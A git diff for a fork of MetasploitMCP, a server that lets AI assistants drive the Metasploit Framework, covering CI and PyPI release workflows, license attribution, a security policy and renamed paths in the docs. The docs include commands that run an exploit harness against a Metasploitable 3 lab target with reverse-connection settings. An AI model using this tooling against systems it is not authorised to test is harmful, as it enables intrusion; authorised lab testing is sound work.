diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f233bd0..1228da1 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -8,10 +8,14 @@ on: jobs: tests: - name: required-test-check + name: tests (py${{ matrix.python-version }}) if: ${{ github.event_name == 'pull_request' || !contains(github.event.head_commit.message, '[skip ci]') }} runs-on: ubuntu-latest timeout-minutes: 20 + strategy: + fail-fast: false + matrix: + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - name: Checkout repository uses: actions/checkout@v4 @@ -19,8 +23,7 @@ jobs: - name: Setup Python uses: actions/setup-python@v5 with: - python-version: "3.12" - cache: "pip" + python-version: ${{ matrix.python-version }} - name: Install Poetry run: python -m pip install --upgrade pip poetry @@ -28,9 +31,5 @@ jobs: - name: Install dependencies run: poetry install --with dev - - name: Run required test suite - run: > - poetry run python -m pytest - tests/test_session_locking.py - tests/test_timeout_cap.py - tests/test_version_bump.py + - name: Run test suite + run: poetry run pytest diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..72917a9 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,90 @@ +name: Release + +# Triggered by pushing a semver tag, e.g. `git tag v3.0.1 && git push origin v3.0.1`. +# Replaces the old auto-bump-on-every-push workflow with a deliberate, +# tag-driven build + publish flow. +on: + push: + tags: + - "v*" + +jobs: + build: + name: Build distribution + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Setup Python + uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install Poetry + run: python -m pip install --upgrade pip poetry + + - name: Verify tag matches package version + run: | + PKG_VERSION="$(poetry version --short)" + TAG_VERSION="${GITHUB_REF_NAME#v}" + echo "pyproject version: $PKG_VERSION | tag: $TAG_VERSION" + if [ "$PKG_VERSION" != "$TAG_VERSION" ]; then + echo "::error::Tag '$TAG_VERSION' does not match pyproject.toml version '$PKG_VERSION'." + exit 1 + fi + + - name: Build sdist and wheel + run: poetry build + + - name: Check metadata + run: | + python -m pip install twine + twine check dist/* + + - name: Upload build artifacts + uses: actions/upload-artifact@v4 + with: + name: dist + path: dist/ + + pypi-publish: + name: Publish to PyPI + needs: build + runs-on: ubuntu-latest + # Requires a PyPI "Trusted Publisher" configured for this repo + workflow + + # the `pypi` environment (no API token stored as a secret). See docs/RELEASING.md. + environment: + name: pypi + url: https://pypi.org/p/metasploit-mcp + permissions: + id-token: write # OIDC token for PyPI Trusted Publishing + steps: + - name: Download build artifacts + uses: actions/download-artifact@v4 + with: + name: dist + path: dist/ + + - name: Publish to PyPI + uses: pypa/gh-action-pypi-publish@release/v1 + + github-release: + name: Create GitHub Release + needs: build + runs-on: ubuntu-latest + permissions: + contents: write # create the release and upload assets + steps: + - name: Download build artifacts + uses: actions/download-artifact@v4 + with: + name: dist + path: dist/ + + - name: Create GitHub Release + uses: softprops/action-gh-release@v2 + with: + files: dist/* + generate_release_notes: true diff --git a/.github/workflows/version-bump.yml b/.github/workflows/version-bump.yml deleted file mode 100644 index 8705946..0000000 --- a/.github/workflows/version-bump.yml +++ /dev/null @@ -1,68 +0,0 @@ -name: Automated Version Bump - -on: - push: - branches: [ main ] - workflow_dispatch: - inputs: - part: - description: Version segment to bump - required: true - default: patch - type: choice - options: - - patch - - minor - - major - -permissions: - contents: write - -jobs: - bump: - if: ${{ github.actor != 'github-actions[bot]' && (github.event_name == 'workflow_dispatch' || !contains(github.event.head_commit.message, '[skip bump]')) }} - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - name: Checkout repository - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - name: Setup Python - uses: actions/setup-python@v5 - with: - python-version: "3.12" - - - name: Choose bump part - id: bump_part - run: | - if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then - echo "value=${{ inputs.part }}" >> "$GITHUB_OUTPUT" - else - echo "value=patch" >> "$GITHUB_OUTPUT" - fi - - - name: Bump version in pyproject.toml - id: bump - run: | - NEW_VERSION=$(python scripts/bump_version.py --part "${{ steps.bump_part.outputs.value }}" --file pyproject.toml) - echo "new_version=$NEW_VERSION" >> "$GITHUB_OUTPUT" - - - name: Commit and tag version bump - env: - NEW_VERSION: ${{ steps.bump.outputs.new_version }} - GIT_AUTHOR_NAME: github-actions[bot] - GIT_AUTHOR_EMAIL: github-actions[bot]@users.noreply.github.com - GIT_COMMITTER_NAME: github-actions[bot] - GIT_COMMITTER_EMAIL: github-actions[bot]@users.noreply.github.com - run: | - if [ -z "$NEW_VERSION" ]; then - echo "No new version produced; exiting." - exit 1 - fi - git add pyproject.toml - git commit -m "chore: bump version to $NEW_VERSION [skip ci][skip bump]" || exit 0 - git tag "v$NEW_VERSION" - git push origin main - git push origin "v$NEW_VERSION" diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3c3b762..8b570f3 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -36,7 +36,7 @@ This project adheres to a code of conduct that we expect all contributors to fol 3. **Verify Setup** ```bash - poetry run python run_all_tests.py + poetry run pytest ``` ## How to Contribute @@ -89,7 +89,7 @@ Before creating an issue, please: 3. **Test Your Changes** ```bash # Run all tests - poetry run python run_all_tests.py + poetry run pytest # Run specific tests poetry run pytest tests/test_your_feature.py -v diff --git a/LICENSE b/LICENSE index 261eeb9..8e7a39f 100644 --- a/LICENSE +++ b/LICENSE @@ -186,7 +186,7 @@ same "printed page" as the copyright notice for easier identification within third-party archives. - Copyright [yyyy] [name of copyright owner] + Copyright 2025 GH05TCREW and the MetasploitMCP contributors Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. diff --git a/Makefile b/Makefile index 3cb5d07..7287e79 100644 --- a/Makefile +++ b/Makefile @@ -51,19 +51,19 @@ dev-setup: dev-install ## Setup: Complete development environment setup # Development targets run: ## Development: Run the MCP server in development mode @echo "$(BLUE)Starting MetasploitMCP server...$(RESET)" - poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 + poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 run-debug: ## Development: Run server with debug logging @echo "$(BLUE)Starting MetasploitMCP server in debug mode...$(RESET)" - LOG_LEVEL=DEBUG poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 + LOG_LEVEL=DEBUG poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 shell: ## Development: Open Poetry shell poetry shell # Testing targets -test: ## Testing: Run all tests using custom test runner +test: ## Testing: Run all tests @echo "$(BLUE)Running all tests...$(RESET)" - poetry run python run_all_tests.py + poetry run pytest test-unit: ## Testing: Run unit tests only @echo "$(BLUE)Running unit tests...$(RESET)" @@ -75,7 +75,7 @@ test-integration: ## Testing: Run integration tests only test-coverage: ## Testing: Run tests with coverage report @echo "$(BLUE)Running tests with coverage...$(RESET)" - poetry run pytest tests/ --cov=. --cov-report=html --cov-report=term-missing + poetry run pytest --cov=metasploit_mcp --cov-report=html --cov-report=term-missing @echo "$(GREEN)Coverage report: file://$(PWD)/htmlcov/index.html$(RESET)" test-watch: ## Testing: Run tests in watch mode (requires pytest-watch) @@ -101,7 +101,7 @@ test-metasploitable3: ## Testing: Run integration tests against Metasploitable 3 echo "Usage: make test-metasploitable3 TARGET=10.0.2.15 LHOST=10.0.2.4 [LPORT=4444]"; \ exit 1; \ fi - poetry run python metasploitable3_test_harness.py \ + poetry run python tests/harness.py \ --target $(TARGET) \ --lhost $(LHOST) \ --lport $(if $(LPORT),$(LPORT),4444) @@ -117,26 +117,26 @@ test-metasploitable3-quick: ## Testing: Quick test against Metasploitable 3 (req list-metasploitable3-tests: ## Testing: List available Metasploitable 3 tests @echo "$(BLUE)Available Metasploitable 3 exploit tests:$(RESET)" - poetry run python metasploitable3_test_harness.py --list-tests + poetry run python tests/harness.py --list-tests # Quality targets lint: ## Quality: Run all linting checks @echo "$(BLUE)Running flake8...$(RESET)" - poetry run flake8 MetasploitMCP.py tests/ + poetry run flake8 src tests @echo "$(GREEN)✓ Linting passed!$(RESET)" format: ## Quality: Format code with black @echo "$(BLUE)Formatting code with black...$(RESET)" - poetry run black MetasploitMCP.py tests/ + poetry run black src tests @echo "$(GREEN)✓ Code formatted!$(RESET)" format-check: ## Quality: Check if code is properly formatted @echo "$(BLUE)Checking code formatting...$(RESET)" - poetry run black --check MetasploitMCP.py tests/ + poetry run black --check src tests type-check: ## Quality: Run type checking with mypy @echo "$(BLUE)Running type checks...$(RESET)" - poetry run mypy MetasploitMCP.py + poetry run mypy src @echo "$(GREEN)✓ Type checking passed!$(RESET)" pre-commit: ## Quality: Run pre-commit hooks on all files diff --git a/NOTICE b/NOTICE new file mode 100644 index 0000000..50f048c --- /dev/null +++ b/NOTICE @@ -0,0 +1,26 @@ +MetasploitMCP +Copyright 2025 GH05TCREW and the MetasploitMCP contributors + +This product includes software developed as part of the MetasploitMCP project. + +------------------------------------------------------------------------------ +Upstream attribution +------------------------------------------------------------------------------ + +This project is a fork of MetasploitMCP, originally created by GH05TCREW: + + https://github.com/GH05TCREW/MetasploitMCP + +The original implementation (core Metasploit RPC integration, exploit/payload/ +session/console management, and background job handling) was authored by +GH05TCREW and is licensed under the Apache License, 2.0. +This fork retains that license and extends the project; see README.md +("Relationship to upstream") and CHANGELOG.md for a summary of the changes. + +------------------------------------------------------------------------------ +Third-party software +------------------------------------------------------------------------------ + +This software integrates with, but does not redistribute, the Metasploit +Framework (https://www.metasploit.com/) via its RPC interface. The Metasploit +Framework is a separate work distributed under its own license. diff --git a/README.md b/README.md index dc9cf23..e379789 100644 --- a/README.md +++ b/README.md @@ -2,11 +2,15 @@ [![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/) [![Poetry](https://img.shields.io/badge/dependency%20management-poetry-blue.svg)](https://python-poetry.org/) -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) A modern, secure Model Context Protocol (MCP) server that provides AI assistants with controlled access to Metasploit Framework functionality. +> **Fork notice:** This project is a fork of [GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP), +> the original Metasploit MCP server created by GH05TCREW. It is distributed under the same Apache License 2.0. +> See [Relationship to upstream](#relationship-to-upstream) for what this fork changes and improves. + ## Features ### Core Capabilities @@ -309,6 +313,7 @@ For detailed documentation, see: - **[Integration Testing](docs/METASPLOITABLE3_TESTING.md)**: Testing with Metasploitable 3 - **[Quick Start Testing](docs/QUICK_START_TESTING.md)**: 5-minute testing setup - **[Poetry Migration](docs/POETRY_MIGRATION.md)**: Migration from requirements.txt +- **[Releasing](docs/RELEASING.md)**: How maintainers cut a release - **[Changelog](CHANGELOG.md)**: Version history and breaking changes - **[Contributing](CONTRIBUTING.md)**: How to contribute to the project @@ -348,12 +353,43 @@ We welcome contributions! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guid 5. Run quality checks: `make full-check` 6. Submit a pull request +## Relationship to upstream + +This project is a fork of **[GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP)**, +the original Metasploit MCP server created by **GH05TCREW** (`harmasic@gmail.com`). Full credit for the +original design and implementation goes to the upstream author. This fork retains the upstream +**Apache License 2.0** (see [`LICENSE`](LICENSE) and [`NOTICE`](NOTICE)). + +**Upstream base (GH05TCREW):** core Metasploit RPC integration, exploit / payload / session / console +management, and background job handling — originally a single-file server with a `requirements.txt` +install and SSE transport. + +**What this fork changes and improves:** + +- **Packaging & layout** — Poetry-based packaging, a `src/metasploit_mcp/` layout, and a + `metasploit-mcp` CLI entry point (replacing the single-file `requirements.txt` setup). +- **Transport** — FastMCP HTTP (streamable) transport, replacing SSE. +- **Dynamic option detection** — module/payload options are queried live from Metasploit instead of + being hardcoded, with detection of confused module/payload options. +- **Concurrency safety** — per-session locking to prevent concurrent Meterpreter/shell access, plus a + per-agent Metasploit instance manager for isolation. +- **Reliability** — async event-loop monitoring (blocking/backlog detection), MCP keep-alive to + prevent client timeouts, an RPC timeout cap with client cleanup and `auth.logout`, session-ID + normalization with fallback lookups, and force-option validation against module capabilities. +- **Quality** — a comprehensive test suite, a Metasploitable 3 integration harness, and dependency + security updates. + +See [`CHANGELOG.md`](CHANGELOG.md) for the detailed version history. + ## License -This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. +This project is licensed under the **Apache License 2.0** — see the [`LICENSE`](LICENSE) file for the +full text and the [`NOTICE`](NOTICE) file for attribution. As a fork, it preserves the license of the +upstream [GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP) project. ## Acknowledgments +- **[GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP)**: The original project this fork is based on - **Metasploit Framework**: The powerful penetration testing platform - **Model Context Protocol**: The standardized AI-tool communication protocol - **FastMCP**: Modern MCP server implementation framework diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..65b4180 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,53 @@ +# Security Policy + +MetasploitMCP exposes Metasploit Framework capabilities to MCP clients. It is an +offensive-security tool intended **only** for authorized testing. Please use it +responsibly and operate it only against systems you own or are explicitly +authorized to test. + +## Supported versions + +Security fixes are provided for the latest released `3.x` line. + +| Version | Supported | +| ------- | --------- | +| 3.x | ✅ | +| < 3.0 | ❌ | + +## Reporting a vulnerability + +Please **do not** open a public GitHub issue for security vulnerabilities. + +Instead, report privately using GitHub's +[private vulnerability reporting](https://docs.github.com/en/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability) +("Report a vulnerability" under the repository's **Security** tab). + +When reporting, please include: + +- A description of the issue and its potential impact. +- Steps to reproduce (proof-of-concept if available). +- Affected version(s) and configuration. + +We aim to acknowledge reports within a few business days and will coordinate a +fix and disclosure timeline with you. + +## Operational guidance + +- Never expose the Metasploit RPC service or this MCP server to untrusted + networks. Bind to `127.0.0.1` unless you have a specific, secured reason not to. +- Use a strong `MSF_PASSWORD`; never commit credentials. Configuration is read + from environment variables (see the README). +- Generated payloads and active sessions provide real attack capability — handle + and store them accordingly. + +## Known dependency advisories + +- **`pymetasploit3`** (GHSA-qpc3-8vqg-8g6w) — the latest published release + (`1.0.6`) carries a command-injection advisory in + `console.run_module_with_output()`, and no fixed version is available upstream. + This is a required runtime dependency. Because MetasploitMCP's purpose is to + execute operator-chosen Metasploit modules through the RPC interface, this path + does not add attack surface beyond the tool's intended function, and the + operator already controls the commands being run. We track the advisory and + will pin a fixed release as soon as one is published. Continue to run the + Metasploit RPC service and this server only on trusted, authorized networks. diff --git a/docs/DEVELOPMENT.md b/docs/DEVELOPMENT.md index 7bee609..4854573 100644 --- a/docs/DEVELOPMENT.md +++ b/docs/DEVELOPMENT.md @@ -23,7 +23,7 @@ poetry install poetry shell # Run tests to verify setup -poetry run python run_all_tests.py +poetry run pytest ``` ## Development Workflow @@ -32,17 +32,17 @@ poetry run python run_all_tests.py ```bash # Development mode with debug logging -poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 +poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 # With custom Metasploit connection -MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 poetry run python MetasploitMCP.py --transport http +MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 poetry run metasploit-mcp --transport http ``` ### Testing ```bash # Run all tests -poetry run python run_all_tests.py +poetry run pytest # Run specific test file poetry run pytest tests/test_helpers.py -v @@ -55,30 +55,31 @@ poetry run pytest tests/ --cov=. --cov-report=html ```bash # Format code (if you add formatting tools) -poetry run black MetasploitMCP.py tests/ +poetry run black src tests # Lint code (if you add linting tools) -poetry run flake8 MetasploitMCP.py tests/ +poetry run flake8 src tests # Type checking (if you add mypy) -poetry run mypy MetasploitMCP.py +poetry run mypy src ``` ## Project Structure ``` MetasploitMCP/ -├── MetasploitMCP.py # Main server implementation -├── pymetasploit3_jsonrpc_patch.py # JSON-RPC monkeypatch for pymetasploit3 +├── src/ +│ └── metasploit_mcp/ # Main package +│ ├── __init__.py # Package entry point with main() +│ ├── server.py # MCP server implementation +│ ├── event_loop_monitor.py # Async event loop monitoring +│ ├── instance_manager.py # Metasploit instance management +│ └── jsonrpc_patch.py # JSON-RPC monkeypatch for pymetasploit3 ├── pyproject.toml # Poetry configuration and dependencies -├── conftest.py # Pytest configuration and fixtures -├── run_all_tests.py # Custom test runner ├── tests/ # Test suite -│ ├── test_helpers.py # Helper function tests -│ ├── test_ip_validation.py # IP validation tests -│ ├── test_options_parsing.py # Options parsing tests -│ ├── test_tools_integration.py # Integration tests -│ └── test_jsonrpc_patch.py # JSON-RPC patch tests +│ ├── conftest.py # Pytest configuration and fixtures +│ ├── harness.py # Metasploitable 3 integration harness +│ └── test_*.py # Test modules └── docs/ # Documentation ├── DEVELOPMENT.md # This file ├── POETRY_MIGRATION.md # Poetry migration guide @@ -87,7 +88,7 @@ MetasploitMCP/ ## JSON-RPC Support -MetasploitMCP includes a monkeypatch module (`pymetasploit3_jsonrpc_patch.py`) that adds JSON-RPC protocol support to pymetasploit3. This allows runtime selection between msgpack RPC (default) and JSON-RPC via the `MSF_RPC_PROTOCOL` environment variable. +MetasploitMCP includes a monkeypatch module (`metasploit_mcp/jsonrpc_patch.py`) that adds JSON-RPC protocol support to pymetasploit3. This allows runtime selection between msgpack RPC (default) and JSON-RPC via the `MSF_RPC_PROTOCOL` environment variable. ### How It Works @@ -115,12 +116,12 @@ export MSF_RPC_PROTOCOL=msgpack poetry run pytest tests/test_jsonrpc_patch.py -v # Test with JSON-RPC enabled -MSF_RPC_PROTOCOL=jsonrpc poetry run python MetasploitMCP.py --transport http +MSF_RPC_PROTOCOL=jsonrpc poetry run metasploit-mcp --transport http ``` ### Implementation Details -The patch is automatically applied when the module is imported (if JSON-RPC is enabled). It must be imported before any `MsfRpcClient` instances are created, which is why it's imported early in `MetasploitMCP.py`. +The patch is automatically applied when the module is imported (if JSON-RPC is enabled). It must be imported before any `MsfRpcClient` instances are created, which is why it's imported early in `metasploit_mcp/server.py`. ## Testing Guidelines @@ -163,7 +164,7 @@ The patch is automatically applied when the module is imported (if JSON-RPC is e 1. Fork the repository 2. Create a feature branch: `git checkout -b feature/your-feature-name` 3. Make your changes and add tests -4. Ensure all tests pass: `poetry run python run_all_tests.py` +4. Ensure all tests pass: `poetry run pytest` 5. Update documentation if needed 6. Commit with descriptive messages 7. Push to your fork and create a Pull Request @@ -198,7 +199,7 @@ Use conventional commit format: ```bash # Enable debug logging -LOG_LEVEL=DEBUG poetry run python MetasploitMCP.py --transport http +LOG_LEVEL=DEBUG poetry run metasploit-mcp --transport http ``` ### Testing with Real Metasploit @@ -209,5 +210,5 @@ msfconsole -q msf6 > load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User=msf Pass=yourpassword # In another terminal, run the server -MSF_PASSWORD=yourpassword poetry run python MetasploitMCP.py --transport http +MSF_PASSWORD=yourpassword poetry run metasploit-mcp --transport http ``` diff --git a/docs/EVENT_LOOP_MONITORING.md b/docs/EVENT_LOOP_MONITORING.md index c02588c..17b6b31 100644 --- a/docs/EVENT_LOOP_MONITORING.md +++ b/docs/EVENT_LOOP_MONITORING.md @@ -36,15 +36,15 @@ All configuration is done via environment variables, making it easy to enable de ```bash # Watchdog is enabled by default - just run normally -python MetasploitMCP.py +metasploit-mcp # Customize thresholds EVENT_LOOP_WATCHDOG_THRESHOLD=0.3 \ EVENT_LOOP_BACKLOG_THRESHOLD=50 \ -python MetasploitMCP.py +metasploit-mcp # Disable watchdog if needed -EVENT_LOOP_WATCHDOG=false python MetasploitMCP.py +EVENT_LOOP_WATCHDOG=false metasploit-mcp ``` ### Full Debug Mode @@ -55,7 +55,7 @@ For comprehensive debugging, enable asyncio debug mode as well: ASYNCIO_DEBUG=true \ EVENT_LOOP_WATCHDOG_THRESHOLD=0.3 \ LOG_LEVEL=DEBUG \ -python MetasploitMCP.py +metasploit-mcp ``` ## Log Output Examples @@ -78,7 +78,7 @@ When the watchdog detects the event loop is blocked: === Thread stack traces at time of blocking === --- MainThread (likely event loop) --- -File "/path/to/MetasploitMCP.py", line 342, in some_function +File "src/metasploit_mcp/server.py", line 342, in some_function result = blocking_operation() # <- BLOCKING CALL! ``` @@ -159,12 +159,12 @@ stats = get_monitoring_stats() 2. **Development**: Enable `ASYNCIO_DEBUG=true` with low thresholds to catch issues early: ```bash - ASYNCIO_DEBUG=true EVENT_LOOP_WATCHDOG_THRESHOLD=0.2 python MetasploitMCP.py + ASYNCIO_DEBUG=true EVENT_LOOP_WATCHDOG_THRESHOLD=0.2 metasploit-mcp ``` 3. **Production**: The default settings work well for production. Adjust thresholds if you see too many warnings: ```bash - EVENT_LOOP_WATCHDOG_THRESHOLD=1.0 EVENT_LOOP_BACKLOG_THRESHOLD=200 python MetasploitMCP.py + EVENT_LOOP_WATCHDOG_THRESHOLD=1.0 EVENT_LOOP_BACKLOG_THRESHOLD=200 metasploit-mcp ``` 4. **Disable if Needed**: If monitoring overhead is a concern, disable with `EVENT_LOOP_WATCHDOG=false` diff --git a/docs/INTELLIGENT_ERROR_DETECTION.md b/docs/INTELLIGENT_ERROR_DETECTION.md index 57c087c..d818032 100644 --- a/docs/INTELLIGENT_ERROR_DETECTION.md +++ b/docs/INTELLIGENT_ERROR_DETECTION.md @@ -160,7 +160,7 @@ await run_exploit( ### Example 3: Using Test Harness ```python -# In metasploitable3_test_harness.py +# In tests/harness.py ExploitTest( name="UnrealIRCd Backdoor", module="exploit/unix/irc/unreal_ircd_3281_backdoor", @@ -208,7 +208,7 @@ The feature is tested in: - This detection only activates when an actual error occurs (zero performance overhead for correct configs) - The error is raised as a `ValueError` for easy catching and handling - The feature works in both RPC mode (`run_as_job=True`) and console mode (`run_as_job=False`) -- The test harness (`metasploitable3_test_harness.py`) automatically separates payload options, so this error is less likely there +- The test harness (`tests/harness.py`) automatically separates payload options, so this error is less likely there ## 🔗 Related Documentation diff --git a/docs/METASPLOITABLE3_TESTING.md b/docs/METASPLOITABLE3_TESTING.md index b6a5bae..ef8a6b8 100644 --- a/docs/METASPLOITABLE3_TESTING.md +++ b/docs/METASPLOITABLE3_TESTING.md @@ -130,7 +130,7 @@ The harness includes test cases for the following Metasploitable 3 vulnerabiliti 4. **Start MetasploitMCP Server:** ```bash - poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 + poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 ``` ## Usage @@ -140,7 +140,7 @@ The harness includes test cases for the following Metasploitable 3 vulnerabiliti Run all tests against Metasploitable 3: ```bash -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --lport 4444 @@ -151,7 +151,7 @@ poetry run python metasploitable3_test_harness.py \ See all available exploit tests: ```bash -poetry run python metasploitable3_test_harness.py --list-tests +poetry run python tests/harness.py --list-tests ``` Output: @@ -177,7 +177,7 @@ Available Tests: Run a single test by name: ```bash -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --test "ProFTPD ModCopy Exec" @@ -188,7 +188,7 @@ poetry run python metasploitable3_test_harness.py \ Connect to a different MCP server: ```bash -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --mcp-url http://192.168.1.100:9000 @@ -199,7 +199,7 @@ poetry run python metasploitable3_test_harness.py \ Stop testing after the first failure: ```bash -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --stop-on-failure @@ -210,7 +210,7 @@ poetry run python metasploitable3_test_harness.py \ Enable debug logging: ```bash -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --verbose @@ -382,7 +382,7 @@ Some exploits may fail if the target has been patched or configured differently. Enable verbose logging to diagnose issues: ```bash -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --verbose @@ -499,12 +499,12 @@ jobs: - name: Start MCP Server run: | - poetry run python MetasploitMCP.py --transport http --port 8085 & + poetry run metasploit-mcp --transport http --port 8085 & sleep 5 - name: Run Integration Tests run: | - poetry run python metasploitable3_test_harness.py \ + poetry run python tests/harness.py \ --target ${{ secrets.METASPLOITABLE3_IP }} \ --lhost ${{ secrets.TEST_LHOST }} \ --mcp-url http://127.0.0.1:8085 diff --git a/docs/POETRY_MIGRATION.md b/docs/POETRY_MIGRATION.md index 999480e..b76963d 100644 --- a/docs/POETRY_MIGRATION.md +++ b/docs/POETRY_MIGRATION.md @@ -17,7 +17,7 @@ poetry install poetry shell # Or run commands in the poetry environment -poetry run python MetasploitMCP.py --help +poetry run metasploit-mcp --help ``` ### Development @@ -26,7 +26,7 @@ poetry run python MetasploitMCP.py --help poetry install --with dev # Run tests -poetry run python run_all_tests.py +poetry run pytest # Or use pytest directly poetry run pytest tests/ -v diff --git a/docs/QUICK_START_TESTING.md b/docs/QUICK_START_TESTING.md index ffd5836..88eaf04 100644 --- a/docs/QUICK_START_TESTING.md +++ b/docs/QUICK_START_TESTING.md @@ -51,7 +51,7 @@ poetry install ```bash # Start the MCP server -poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 +poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 # You should see: # INFO - Successfully connected to Metasploit RPC at 127.0.0.1:55553 @@ -87,16 +87,16 @@ Expected output should show open ports like: cd /path/to/MetasploitMCP # List available tests -poetry run python metasploitable3_test_harness.py --list-tests +poetry run python tests/harness.py --list-tests # Run all tests -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --lport 4444 # Or run a single test to verify setup -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --test "ProFTPD" @@ -170,7 +170,7 @@ ping 10.0.2.4 # Should work! **Solution**: MCP server is not running ```bash # In Terminal 2, start the MCP server: -poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 +poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 ``` ### Issue: "Failed to connect to Metasploit RPC" @@ -219,27 +219,27 @@ nmap -p 21,80,6697 10.0.2.15 ```bash # List all available tests -poetry run python metasploitable3_test_harness.py --list-tests +poetry run python tests/harness.py --list-tests # Run all tests -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 # Run specific test -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --test "ProFTPD" # Verbose mode for debugging -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --verbose # Stop on first failure -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --stop-on-failure diff --git a/docs/RELEASING.md b/docs/RELEASING.md new file mode 100644 index 0000000..db6e0f5 --- /dev/null +++ b/docs/RELEASING.md @@ -0,0 +1,54 @@ +# Releasing + +Releases are **tag-driven**. Pushing a `v*` tag runs +[`.github/workflows/release.yml`](../.github/workflows/release.yml), which builds +the distribution, publishes it to PyPI, and creates a GitHub Release. There is no +auto-bump on every push — cutting a release is a deliberate action. + +## One-time setup + +The publish job uses [PyPI Trusted Publishing](https://docs.pypi.org/trusted-publishers/) +(OIDC) rather than a stored API token, so no PyPI secret is kept in the repo. + +1. On PyPI, add a **Trusted Publisher** for the `metasploit-mcp` project: + - Owner / repository: `cbdmaul/MetasploitMCP` + - Workflow filename: `release.yml` + - Environment name: `pypi` +2. In the GitHub repo settings, create an **Environment** named `pypi` (this + matches `environment: name: pypi` in the workflow). + +## Cutting a release + +1. Update [`CHANGELOG.md`](../CHANGELOG.md) with the new version and its changes. +2. Bump the version so `pyproject.toml` and `server.json` agree on the target: + + ```bash + poetry version # or an explicit version, e.g. 3.0.1 + ``` + + Update the `version` fields in [`server.json`](../server.json) (both the + top-level and the package entry) to match. +3. Commit the version bump and merge it to `main`. +4. Tag the release commit and push the tag. The tag **must** match the + `pyproject.toml` version (the workflow verifies this and fails otherwise): + + ```bash + git tag v3.0.1 + git push origin v3.0.1 + ``` + +## What the workflow does + +- **build** — installs Poetry, verifies the tag matches `pyproject.toml`, runs + `poetry build`, and validates metadata with `twine check`. +- **pypi-publish** — publishes the built artifacts to PyPI via the `pypi` + environment using Trusted Publishing (OIDC). +- **github-release** — creates a GitHub Release for the tag with + auto-generated notes and attaches the built sdist and wheel. + +## Verifying a release + +```bash +pip install metasploit-mcp== +metasploit-mcp --help +``` diff --git a/docs/TROUBLESHOOTING.md b/docs/TROUBLESHOOTING.md index 8a6abaf..6bbfbe0 100644 --- a/docs/TROUBLESHOOTING.md +++ b/docs/TROUBLESHOOTING.md @@ -15,7 +15,7 @@ Error: Connection refused to http://127.0.0.1:8085 1. **Verify MCP Server is Running:** ```bash - poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 + poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 ``` 2. **Check the Port:** 